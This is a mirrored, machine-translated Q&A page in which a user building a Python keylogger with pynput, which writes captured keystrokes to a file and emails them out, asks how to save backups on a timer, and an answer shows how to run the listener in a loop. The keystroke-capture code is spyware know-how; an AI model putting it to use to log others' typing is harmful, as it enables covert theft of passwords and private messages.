繁体   English   中英

如何定期从pynput.listener回调?

[英]How to callback from pynput.listener at regular intervals?

我正在编写一个键盘记录程序,并且需要在不停止侦听器的情况下对其进行备份的帮助。

我正在用python编写键盘记录程序,它会写入.txt文件,然后通过电子邮件发送。 我需要定期将击键的临时列表写入文件中,作为备份。 但是,我似乎只能在on_press或on_release回调中执行此操作,这意味着在通过电子邮件发送文件时,我无法拾取其他击键,因此我想根据经过的时间(而不是按下键)进行备份。

def on_press(key):
    global keystrokes
    keystrokes.append(key)
    if len(keystrokes)==100:
        write_send(keystrokes) #This is the function that does all my file 
                                writing and emailing, not included.

def on_release(key):
    #On_release script here, not included

while True:
    with Listener(on_press=on_press,on_release=on_release) as listener:
        listener.join()

代替

while True:
    with Listener(on_press=on_press,on_release=on_release) as listener: 
         listener.join()

你可以做

with Listener(on_press=on_press,on_release=on_release) as listener: 

     while True:
         # ... check time and write in file ...

     # listener.stop()  
     listener.join()

或者您可以在Listener使用功能start() (和stop() )并将其编写为:

listener = Listener(on_press=on_press,on_release=on_release)
listener.start()   

while True:
    # ... check time and write in file ...

listener.stop()   
listener.join()

暂无
暂无

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM